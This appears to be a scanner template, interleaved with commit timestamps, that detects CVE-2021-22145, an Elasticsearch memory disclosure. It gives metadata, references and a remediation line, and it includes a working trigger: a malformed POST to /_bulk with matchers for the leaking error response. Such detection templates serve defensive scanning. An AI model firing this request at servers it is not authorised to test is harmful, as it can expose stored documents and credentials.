2021-09-02 16:37:29 +00:00
id : CVE-2021-22145
info :
2023-04-04 20:34:59 +00:00
name : Elasticsearch 7.10.0-7.13.3 - Information Disclosure
2021-09-02 16:37:29 +00:00
author : dhiyaneshDk
severity : medium
2023-04-04 20:34:59 +00:00
description : ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Elasticsearch to a version that is not affected by CVE-2021-22145.
2021-09-02 16:37:29 +00:00
reference :
- https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml
- https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
2022-05-17 09:18:12 +00:00
- https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
2023-04-04 20:34:59 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-22145
2023-07-11 19:49:27 +00:00
- https://security.netapp.com/advisory/ntap-20210827-0006/
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-22145
cwe-id : CWE-209
2024-05-31 19:23:20 +00:00
epss-score : 0.96444
epss-percentile : 0.99578
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : elastic
product : elasticsearch
2024-05-31 19:23:20 +00:00
fofa-query : index_not_found_exception
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,elasticsearch,packetstorm,elastic
2021-09-02 16:37:29 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-09-02 16:37:29 +00:00
- method : POST
path :
- '{{BaseURL}}/_bulk'
2023-07-11 19:49:27 +00:00
2021-09-02 16:37:29 +00:00
body : |
@
2023-07-11 19:49:27 +00:00
headers :
Content-Type : application/json
2021-09-02 16:37:29 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-09-02 16:37:29 +00:00
words :
- 'root_cause'
- 'truncated'
- 'reason'
condition : and
- type : status
status :
- 400
2024-06-01 06:53:00 +00:00
# digest: 490a0046304402200ae0e81a1c19ce52ceb50640f4c1ab86ac60b6379dbbe6f47792a4572e351d0c02203f716a5a8e0d7c6faa8e9672792f913b374029ef53dff1690395b0a63e688dcc:922c64590222798bb761d5b6d8e72950